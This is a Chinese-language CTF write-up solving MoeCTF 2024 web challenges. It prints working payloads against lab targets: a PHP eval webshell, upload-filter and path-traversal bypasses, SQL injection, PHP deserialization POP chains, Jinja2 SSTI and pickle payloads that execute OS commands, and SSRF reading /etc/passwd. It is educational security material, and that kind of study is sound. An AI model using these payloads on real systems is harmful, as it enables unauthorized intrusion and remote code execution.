0%

moectf_2024web

Moectf_2024web方向做题记录

垫刀之路01: MoeCTF?启动!


这里可以执行任何指令 输入cat /flag之后提示 你可以检查一下环境变量这个东西
输入env得到环境变量,看到flag

1
2
3
执行结果:

PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.43.0.1:443 USER=www-data HOSTNAME=ret2shell-106-7154-1741490286 PHP_INI_DIR=/usr/local/etc/php SHLVL=2 HOME=/home/www-data PHP_LDFLAGS=-Wl,-O1 -Wl,--hash-style=both -pie PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_MD5= PHP_VERSION=7.3.11 GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_ASC_URL=https://www.php.net/get/php-7.3.11.tar.xz.asc/from/this/mirror PHP_URL=https://www.php.net/get/php-7.3.11.tar.xz/from/this/mirror KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c KUBERNETES_SERVICE_HOST=10.43.0.1 PWD=/var/www/html PHP_SHA256=657cf6464bac28e9490c59c07a2cf7bb76c200f09cfadf6e44ea64e95fa01021 FLAG=moectf{WelcOme_to_MoEcTf_anD_r0aDI_STArTuP-6Y_SxRHhh166}

垫刀之路02: 普通的文件上传


一句话木马:

1
<?php @eval($_POST[1]); ?>

文件直接就可以上传,打开蚁剑连接 找了一圈没有找到flag
在蚁剑的虚拟终端中用php -i查看php的信息,在环境中找到了flag

垫刀之路03: 这是一个图床

这题也是一个文件上传,但是对文件的类型做了限制,只能上传图片
把一句话木马的格式改成jpg上传,但是用bp修改后缀后上传

蚁剑打开

和上题一样,也要在蚁剑的虚拟终端里面用env或者php -i 找到环境变量的flag

垫刀之路04: 一个文件浏览器

题目描述:
Sxrhhh 做了一个文件浏览器,塞了很多东西进去。不知道你能不能从这一堆乱七八糟的文件里面,翻出你想要的 flag 呢?

注意:题目中有一些 readme 文件,我觉得你不应该错过。

再注:本题与 jail-lv1 考点无关,只是致敬 (cue) 一下 flag 位置

先是根据题目的提示看了两个readme.md文件,但是没有发现什么隐藏的内容

但是发现这里访问文件的方式是get的参数,所以猜测可以目录穿越

发现是可以的 到根目录下面,排除bin dev etc这些系统文件的目录之后一个个找 最后找到在/tmp/flag

垫刀之路05: 登陆网站

题目描述
这是一个登陆页面。听说管理员叫 admin123 ,而且只要登陆成功,就会显示 flag 。可是,听管理员自己说,它自己的密码在密码强度检查器网站上,需要上百年才能被破译。那么,我们应该怎么登陆进去呢?


只有一个登录界面,根据题目的描述,知道了管理员账号,但是密码无法爆破出来
原来我是想试试sql注入有没有报错的回显的,没想到直接就出来flag了 这里的逻辑应该就是一个简单的拼接,把后面注释掉就满足条件了

垫刀之路06: pop base mini moe

一道反序列化的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

试图把一个对象当作函数调用时,就会自动触发 __invoke() 方法。
随意要触发这个方法就要用到A类中的$s($this->evil);这里让$s是B类就可以触发invoke方法。
但是对于私有属性来说,不能直接赋值成一个对象。也不能在外部赋值,需要用到__construct函数
这题的pop链就是让evil是我们要执行的命令"cat /flag"$s中的a触发B类,B类中的$b是我们想要执行的函数system
$evil作为参数$c传入invoke
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class A {
// 注意 private 属性的序列化哦
private $evil = "cat /flag";

// 如何赋值呢
private $a;

function __construct(){
$this -> a = new B();
}
}

class B {
private $b = "system";


}

$x = new A();
echo urlencode(serialize($x));

第一次没有用urlencode会报错

垫刀之路07: 泄漏的密码

题目描述
Sxrhhh 正在使用 Flask 编写网站服务器,不慎泄漏了 PIN 码, 是时候给他一个乱用调试模式的教训了。
这是一个关于 Flask Debug Mode PIN 码泄露 的安全问题,通常意味着目标服务器运行在 Flask Debug 模式下,如果你能访问 Flask 的 Werkzeug Debugger,就可以执行任意 Python 代码(RCE)。
找到Flask Debugger 页面 /console 或 /_debugger 使用pin码解锁

但是这里直接用os.system执行命令只会输出0 因为这是在console中
这里要用os.popen().read()函数,这个函数会执行shell命令并获取返回的内容

1
2
>>> import os;os.popen("cat flag").read()
'moectf{Dont_UsinG-flasK-By_DebUG-MOD-AND_lE4K-y0UR-pIn19}'

弗拉格之地的入口

题目描述
听闻在遥远的弗拉格之地,有着七颗龙珠。
只要集齐这七颗龙珠,就可以召唤出每一位 ctf 选手都想要的 flag
但是这个弗拉格之地与世隔绝,几乎没人能找到入口
不过,有一种生物,名为爬虫,它能带领各位找到那里

提示是爬虫,所以就去robots.txt中看,这个文件是每个网站的允许爬虫和禁止爬虫的目录列表

访问这里出现的php文件之后拿到flag

ImageCloud前置

题目描述
url后面怎么有个?url=, 啧啧啧,这貌似是一个很经典的漏洞, flag在/etc/passwd里,嗯?这是一个什么文件 声明:题目环境出不了网,无法访问http资源,但这并不影响做题,您可以拿着源码本地测试

把题目的源码拿过来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

所以这题就是一个ssrf漏洞,这里的url没有做限制,根据题目的描述,flag就在/etc/passwd里 所以用flag协议读一下文件就出来了

关于ssrf我也出过一个bp实验室的这个专题的blog

ProveYourLove

题目描述
都七夕了,怎么还是单身狗丫?快拿起勇气向你 crush 表白叭,300份才能证明你的爱!

这里就是要表白的表单提交300次才能得到flag
这里我就用bp中的爆破模块,随便选了一个字典爆破

ez_http


根据提示用post请求发包
后面跟着提示,修改请求头,这题是包含常见的http基础的内容了

弗拉格之地的挑战 bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

题目描述
web 七龙珠
欢迎来到弗拉格之地进行 web 七龙珠试炼
在这里,你将根据引导,完成数个任务,从而获得名为 flag 的东西
本次我们采用一个叫做分段 flag 的东西,将 flag 分为七颗龙珠,集齐七颗龙珠就可以获得最终的 flag
在这次挑战中,请随时准备好你的记事本哦
现在我们开始,提示在下面 ↓
/flag1ab.html
第一关:

第二关:

第三关

第四关:
先根据提示 把referer头改一下
给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var buttons = document.getElementById("scope").getElementsByTagName("button");
for (var i = 0; i < buttons.length; i++) {
buttons[i].id = i + 1;
}
function start() {
document.getElementById("num").innerText = "9";
}
function getID(button) {
if (button.id == 9) {
alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
fetch('flag4bbc.php', {
method: 'post',
body: 'method=get',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
}).then((data) => {
return data.json();
}).then((result) => {
console.log(result.hint);
console.log(result.fll);
console.log(result.goto)
});
} else {
alert("该罚!(头部碰撞声)")
}
}


直接在元素里面修改一个按钮的值为9就可以了,这里最后说输出在console.log那就在控制台看

第五关
源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<form name="form" action="flag5sxr.php" onsubmit="return checkValue()" method="post">
请输入 "I want flag" : <input type="text" name="content"><br>
<input type="submit" value="提交">

</form>

</body>
<script>
function checkValue() {
var content = document.forms["form"]["content"].value;
if (content == "I want flag") {
alert("你就这么直接?");
return false;
} else {
return true;
}
}
</script>

这里看到这个提交框的数据的name是 content但是直接在输入框输入会跳转到checkValue,这个函数啥用都没有
根据这个表单的method,我们用post发送content解决

第六关

1
2
3
4
5
6
7
8
9
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
if (preg_match('/flag/', $_GET['moe'])) {
die("no");
} elseif (preg_match('/flag/i', $_GET['moe'])) {
echo "flag6: xxx";
}
}

这里就是要用get和post都设置moe,但是要绕过flag,注意到这里判断输入flag的preg_match是/i,这个是大小写不敏感的
前面一个preg_match是大小写敏感的,所以利用方式也很明显了,输入有大小的flag就好了

第七关:

这个就是有一句话木马,用蚁剑连接在根目录拿到flag7

最后拼出完整的flag bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=
用base64解码拿到flag 7合1

电院_Backend

下载题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);


$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}


?>

注意到这里用的数据库查询是直接拼接的,所以可能有sql注入 然后过滤了or
然后我先用这个源码的名字login找登录,但是没有这个界面,访问robots.txt发现入口在/admin


弹窗很快消失了,可以用bp中的repeater发送,然后看响应

静态网页


一个博客地址,先是做一个基本的网页探测,看页面源代码,网络请求标头 都没有什么有用的,然后到处点都没有反应
然后最后在右下角,点击几次出现 “我的衣服是后端请求的”
打开bp抓包,在每个界面看看有没有flag或者moe的字样 以前都没做过这样的。。

跟着提示去final1l1l_challenge.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
} Where is your param?

在php中弱比较==会把字符也看作数字,所以只要让a = ‘0’就好了,然后去在线网站上加密出’0’的md5值,用post传就行

Re: 从零开始的 XDU 教书生活

题目描述:
你成为了 XDU 的一个教师,现在你的任务是让所有学生签上到(需要从学生账号签上到,而不是通过教师代签)。 注意:

本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。 本题的部分前端页面取自超星学习通网页,后端与其无关,仅用作场景还原,请勿对原网站进行任何攻击行为!

因为这题都要登录学生的账号进行登录,并且告诉了密码就等于用户名,所以先抓包看看登录的逻辑

可以发现这里的密码是经过加密的

发现点击登录会使用一个loginByPhoneAndPwd()函数,这个就是加密函数
在页面源代码中找到login.js,然后找到这个函数发现这个密码是用aes加密的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function encryptByAES(message, key){
let CBCOptions = {
iv: CryptoJS.enc.Utf8.parse(key),
mode:CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
};
let aeskey = CryptoJS.enc.Utf8.parse(key);
let secretData = CryptoJS.enc.Utf8.parse(message);
let encrypted = CryptoJS.AES.encrypt(
secretData,
aeskey,
CBCOptions
);
return CryptoJS.enc.Base64.stringify(encrypted.ciphertext);
}


在bp的请求历史中,可以看到在/widget/sign/pcTeaSignController/showSignInfo下可以得到学生的信息
然后发现二维码刷新的时候会访问一个地址

根据这个地址,在页面源代码中找到刷新二维码的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//获取或10秒刷新二维码
function ewm(){
if(activeStatus==2){
var url = "/static/ewmover.png";
$("#qrcode").attr("src",url);
$("#qrcodeBig").attr("src",url);
return;
}

var timestamp=new Date().getTime();
var activeId= $("#activeId").val();
$.ajax({
//url: "/widget/sign/pcTeaSignController/getQRCode",
url:"/v2/apis/sign/refreshQRCode",
type: "get",
data: {"activeId":activeId,"time":timestamp,"viewFrom":viewFrom,"viceScreen":viceScreen,"viceScreenEwmEnc":viceScreenEwmEnc},
dataType:"json",
success:function(res){
if(res.result==1){
var sc = res.data.signCode;
var enc = res.data.enc;
if(signCode != sc){
signCode = sc;
//var s = "SIGNIN:aid="+activeId+"&source=15&Code="+sc+"&enc="+enc;
//mobilelearn.chaoxing.com域名写死,不要动
// var s = "https://mobilelearn.chaoxing.com/widget/sign/e?id="+activeId+"&c="+sc+"&enc="+enc+"&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id";
var s = "http://" + window.location.hostname + ":" + window.location.port + "/widget/sign/e?id="+activeId+"&c="+sc+"&enc="+enc+"&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id";
s = encodeURIComponent(s);
var ewmcon = "https://api.qrserver.com/v1/create-qr-code/?size=410x410&data="+s;
var ewmconBig = "https://api.qrserver.com/v1/create-qr-code/?size=700x700&data="+s;
var src = ewmcon;
$("#qrcode").attr("src",src);
$("#qrcodeBig").attr("src",ewmconBig);
}
}
}
});
}

需要关注的是这里生成的二维码链接

1
2
var s = "http://" + window.location.hostname + ":" + window.location.port + "/widget/sign/e?id="+activeId+"&c="+sc+"&enc="+enc+"&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id";
s = encodeURIComponent(s);

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import httpx
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
from datetime import datetime
from tqdm import tqdm

# --------------------------
# 常量与全局配置
# --------------------------
SERVER = "http://127.0.0.1:55961"
TRANSFER_KEY = "u2oh6Vu^HWe4_AES"

URLS = {
"LOGIN": SERVER + "/fanyalogin",
"REFRESH_QR": SERVER + "/v2/apis/sign/refreshQRCode",
"SIGN": SERVER + "/widget/sign/e",
"UNSIGN_LIST": SERVER + "/widget/sign/pcTeaSignController/showSignInfo1"
}

HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
}

# --------------------------
# 加密工具函数
# --------------------------
def encrypt_by_aes(message: str, key: str) -> str:
"""AES-CBC加密(兼容原逻辑)"""
key_bytes = key.encode("utf-8")
iv = key_bytes
cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
padded = pad(message.encode("utf-8"), AES.block_size)
encrypted = cipher.encrypt(padded)
return base64.b64encode(encrypted).decode("utf-8")

def encrypt_credentials(username: str, password: str) -> tuple:
"""加密账号密码"""
return (
encrypt_by_aes(username, TRANSFER_KEY),
encrypt_by_aes(password, TRANSFER_KEY)
)

# --------------------------
# 登录相关函数
# --------------------------
def login_client(username: str, password: str) -> httpx.Client:
"""通用登录函数"""
client = httpx.Client(headers=HEADERS)
encrypted_uname, encrypted_pwd = encrypt_credentials(username, password)

resp = client.post(
URLS["LOGIN"],
data={
"fid": "-1",
"uname": encrypted_uname,
"password": encrypted_pwd,
"refer": "https%3A%2F%2Fi.chaoxing.com",
"t": "true",
"forbidotherlogin": "0",
"validate": "",
"doubleFactorLogin": "0",
"independentId": "0",
"independentNameId": "0",
}
)

if not resp.json().get("status"):
raise ValueError(f"登录失败: {username}")
return client

# --------------------------
# 教师端操作
# --------------------------
def get_unsigned_students(teacher_client: httpx.Client, active_id: str) -> list:
"""获取未签到学生名单"""
params = {
"activeId": active_id,
"webCacheId": active_id,
"appType": 15,
"_": int(datetime.now().timestamp() * 1000)
}

resp = teacher_client.get(
URLS["UNSIGN_LIST"],
params=params
)

return [
student["name"]
for student in resp.json().get("data", {}).get("changeUnSignList", [])
]

def generate_qr_code(teacher_client: httpx.Client, active_id: str) -> tuple:
"""生成签到二维码"""
params = {
"activeId": active_id,
"time": int(datetime.now().timestamp() * 1000),
"viewFrom": "",
"viceScreen": 0,
"viceScreenEwmEnc": ""
}

resp = teacher_client.get(
URLS["REFRESH_QR"],
params=params
)

if resp.json().get("msg") != "success":
raise RuntimeError("生成二维码失败")

data = resp.json().get("data", {})
return data.get("enc"), data.get("signCode")

# --------------------------
# 学生端操作
# --------------------------
def student_sign(
student_client: httpx.Client,
active_id: str,
enc: str,
sign_code: str
) -> bool:
"""执行签到"""
params = {
"id": active_id,
"c": sign_code,
"enc": enc,
"DB_STRATEGY": "PRIMARY_KEY",
"STRATEGY_PARA": "id"
}

resp = student_client.get(
URLS["SIGN"],
params=params
)
return "成功" in resp.text # 根据实际返回调整

# --------------------------
# 主流程
# --------------------------
def main():
# 教师登录
teacher = login_client("10000", "10000")
print("教师登录成功")

# 获取未签到名单(示例activeId)
active_id = "4000000000000"
unsigned_list = get_unsigned_students(teacher, active_id)
print(f"待签到学生: {len(unsigned_list)}人")

# 逐个签到
for student_name in tqdm(unsigned_list, desc="签到进度"):
while True:
try:
# 学生登录
student_client = login_client(student_name, student_name)

# 生成新二维码(每个学生单独生成)
enc, sign_code = generate_qr_code(teacher, active_id)

# 执行签到
if student_sign(student_client, active_id, enc, sign_code):
print(f"\n{student_name} 签到成功")
break
else:
print(f"\n{student_name} 签到失败,重试...")

except Exception as e:
print(f"\n异常: {student_name} - {str(e)}")
continue

if __name__ == "__main__":
main()

勇闯铜人阵


一个游戏,和去年有题赛车一样,不可能自己手动完成游戏的,需要写个脚本
通过bp抓包知道传入参数使用post请求,参数分别是plarer direct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import re
from lxml import html # 用 lxml 替代 BeautifulSoup

url = 'http://127.0.0.1:54881'
session = requests.session()

# 初始化请求
response = session.post(url, data={"player": "kakeru", "direct": "弟子明白"})

# 方向映射
d1 = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]
d2 = ["北方一个", "东北方一个", "东方一个", "东南方一个", "南方一个", "西南方一个", "西方一个", "西北方一个"]

for i in range(20):
# 解析 HTML
data_html = html.fromstring(response.text)
extracted_text = data_html.xpath('/html/body/h1[2]/text()')

# 提取方向数字
strs = extracted_text[0].strip() # 提取文本
numbers = list(map(int, re.findall(r'\d+', strs))) # 提取所有数字并转换为整数列表

if len(numbers) == 1:
answer = d1[numbers[0] - 1] # 取 d1 数组中的对应方向
else:
answer = d2[numbers[0] - 1] + "," + d2[numbers[-1] - 1] # 取 d2 数组的首尾方向

print(f"发送答案: {answer}")

# 发送请求
response = session.post(url, data={"player": "kakeru", "direct": answer})
if("moe" in response.text):
print(response.text)

pop moe

一道反序列化的题目,就是在于找到pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

首先从结果倒推,我们要利用的是class003中的eval,这个在evvval方法中,如何调用这个方法呢,往上面找出现过evvval或者可以调用函数的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

可以看到在class002中有一个dangerous函数可以调用whaattt参数的evvval方法,所以就让whaattt参数是class003
下一步找怎么触发dangerous函数,就用class002类中的set方法,让b是dangerous,sec是class003
在php中set魔法方法是当尝试为对象中未定义或不可访问的属性赋值时,自动调用此方法
再往上找,找到class001类中

1
2
3
4
5
6
7
8
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

这里调用的invoke方法就可以利用,让a是class002,然后payload本来就是class002中不存在的,这里的this->payl0ad就是set魔术方法中的第二个参数b
所以让payl0ad是dangerous
最后看怎么调用invoke,这个方法是对象被当作函数调用的时候触发,看class000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

这里是会直接执行check,那就让what是class001就触发了

所以总的pop链是

1
2
3
4
class000 __destruct check
class001 __invoke
class002 __set dangerous
class003 evval

但是最后要注意一下class003的toString函数会在class003类当作字符串的时候触发,所以要给mystr赋值,这就是最后执行的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
class class000{
private $payl0ad = 5;
protected $what;
public function __construct($p){
// 修正:去掉 $what 前面的 $ 符号
$this -> what = $p;
}
}

class class001{
public $payl0ad = 'dangerous';
public $a;
}

class class002{
private $sec;
public function __construct($p){
$this -> sec = $p;
}
}

class class003{
public $mystr = 'system("env");';
}

$c3 = new class003();
$c2 = new class002($c3);
$c1 = new class001();
$c1 -> a = $c2;
$c0 = new class000($c1);

echo urlencode(serialize($c0));

最后flag在环境变量里面找到,就是要注意这里不是public属性的值要写一个构造函数来赋值,不过也可以写的时候直接改成public在外部赋值

what’s blog

还是那个静态的博客界面

用get请求传入id=1,页面也会回显这个参数1
但是不知道怎么用,看了一下wp,知道了这个ssti漏洞,但是wp都是只给poc没有说怎么检测。去bp实验室学了一下
ssti就是服务器模板注入攻击。 最简单的探测方法是注入模板表达式中的特殊字符序列比如${{<%[%'"}}%\,可能在你看到这篇wp的时候我博客中已经有ssti漏洞学习笔记了,可以看看
总的探测方法如图所示

我先输入{{7*7}} 然后发现确实做了计算,说明是存在ssti漏洞的

继续验证是什么类型,输入{{7*'7'}} 返回是7777777 所以模板是Jinja2
在网上找了一下这个模板注入的方法 https://www.cnblogs.com/leixiao-/p/10227867.html
用这里的payload试了一下,发现是可以的

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

bases
以元组返回一个类直接所继承的类
mro
以元组返回继承关系链
class
返回对象所属的类
globals
以dict返回函数所在模块命名空间中的所有变量
subclasses()
以列表返回类的子类
builtin
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(builtins)
ps:在py3中__builtin__被换成了builtin
builtin 和 __builtins__之间是什么关系呢?
在主模块main中,builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin,二者完全是一个东西,不分彼此。
非主模块main中,builtins__仅是对__builtin.__dict__的引用,而非__builtin__本身

这是用了jinja2的语法 最后把whoami 改成env 在环境变量中找到flag

ImageCloud

题目给了两个源码,app.py主要是文件上传的逻辑,app2中的关键部分是

1
2
3
4
5
6
7
8
9
10
11
12
13
def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)

这个开放的端口不是固定的,从下载源码中可以看到在uploads里面放着flag,但是访问不了

那就好办了,已经知道了flag的地方,就是在本地的uploads目录下,端口不知道,那就用ssrf爆破端口了
在app.py中可以看到访问图片的路径在/image下 用url参数的get请求可以查询图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400

try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))

img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

在app2 中可以看到,先是加上了路径uploads然后又加了一层image,而刚才在文件夹中看到flag在uploads下的flag
所以可以知道最终我们要访问的路径实际上是/image/flag.jpg

1
2
3
4
5
6
7
8
9
10
11
UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

bp启动!


访问图片后拿到flag

PetStore

flask的漏洞我还不是很熟悉,先丢给ai
发现漏洞点在Pickle反序列漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data) # 反序列化
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

pickle.loads() 是不安全的! 它可以执行任意 Python 代码,如果攻击者构造恶意的 pickle 数据,就能远程执行命令(RCE)

看网上的opcode脚本

1
2
3
4
5
6
7
8
9
10
import pickle,pickletools
import base64
opcode = b'''cos
system
(S'mkdir static && set > ./static/1'
tR.
'''
pickletools.dis(opcode)
print(base64.b64encode(opcode).decode())
#Y29zCnN5c3RlbQooUydta2RpciBzdGF0aWMgJiYgc2V0ID4gLi9zdGF0aWMvMScKdFIuCg==

cos\nsystem\n → cos 表示调用 全局对象(system)。
(S’…’ → 传入一个字符串参数 ‘mkdir static && set > ./static/1’。
tR. → 调用 system() 并执行字符串中的 shell 命令。

1
2
3
4
5
6
0: cos        GLOBAL     'system'   # 获取 `os.system`
10: ( MARK
11: S STRING 'mkdir static && set > ./static/1'
50: t TUPLE (结束 `MARK`,构造元组参数)
51: R REDUCE # 调用 `system("mkdir static && set > ./static/1")`
52: . STOP # 结束

然后访问/static/1下载环境变量的文件,但是拿到的不是真正的flag

1
FLAG='moectf{sT4rRYmeOW'"'"'S_FLaG_h@s_bEen-4cC3Pted_@c@CAcAC30}'

这里的'"'"' 第一个单引号和前面的单引号闭合,然后”‘“又插入一个单引号,然后后面再有一对单引号,我之前在shell里面有研究过
这是因为想在一对单引号里面再插入单引号,就必须采取这种分段拼接的方式
所以真的flag是moectf{sT4rRYmeOW‘S_FLaG_h@s_bEen-4cC3Pted_@c@CAcAC30}